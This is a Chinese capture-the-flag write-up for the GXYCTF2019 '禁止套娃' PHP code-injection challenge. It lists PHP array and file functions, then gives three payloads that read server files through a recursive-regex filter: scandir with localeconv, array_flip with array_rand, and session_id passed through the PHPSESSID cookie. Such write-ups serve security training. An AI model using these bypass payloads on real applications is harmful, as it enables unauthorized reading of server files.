知识点
PHP数组处理函数
scandir ( string $directory [, int $sorting_order [, resource $context ]] ) : array
列出指定路径中的文件和目录,返回一个数组readfile ( string $filename [, bool $use_include_path = FALSE [, resource $context ]] ) : int
读取文件并写入到输出缓冲中(直接输出内容)file_get_contents ( string $filename [, bool $use_include_path = false [, resource $context [, int $offset = -1 [, int $maxlen ]]]] ) : string
将整个文件读入一个字符串file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int
将一个字符串写入一个文件current ( array &$array ) : mixed
放回数组的当前单元(初始指向第一个单元)array_rand ( array $array [, int $num = 1 ] ) : mixed
从数组中取出一个或多个随机单元shuffle ( array &$array ) : bool
打乱数组array_values ( array $array ) : array
返回数组中所有的值array_flip ( array $array ) : array
交换数组中的键和值
…
正则表达式
(?R)
表示匹配本正则表达式
[GXYCTF2019]禁止套娃
直接上题,不多BB
1 |
|
用千层饼分析法(我编的):
- 第一层:ban了
data://
、php://
、phar://
- 第二层:’/[a-z,_]+((?R)?)/‘表示将
system()
这些没有参数的函数递归变为空之后,只剩下;
符号,(?R)前面提到过表示匹配本正则表达式,将它放到括号里面就可以实现函数嵌套,也就是题目说的套娃 - 第三层:ban掉了这些字符
et|na|info|dec|bin|hex|oct|pi|log
解法一(array_rand和array_flip随机读取)
使用array_rand()
和array_flip()
将数组的键和值反过来,然后随机读取,只要次数够多,会将数组遍历完的
那么就要构造.通过localeconv()
函数返回包含本地数字及货币信息格式的数组,而数组第一项就是.
构造payload获取当前目录的文件名
1 | ?exp=print_r(scandir(current(localeconv()))); |
然后就要用到上面的array函数
1 | ?exp=highlight_file(array_rand(array_flip(scandir(current(localeconv()))))); |
解法二(逆向读取数组)
array_reverse()
将数组反过来,然后next
将数组指针往前移一个,读取第二个就是flag了
构造payload
1 | ?exp=highlight_file(next(array_reverse(scandir(current(localeconv()))))); |
解法三(通过session_id传参)
默认php是不使用session,所以可以通过我们构造的session,也就是常见的Cookie: PHPSESSID=...
来传递参数
构造payload
1 | ?exp=readfile(session_id(session_start())); |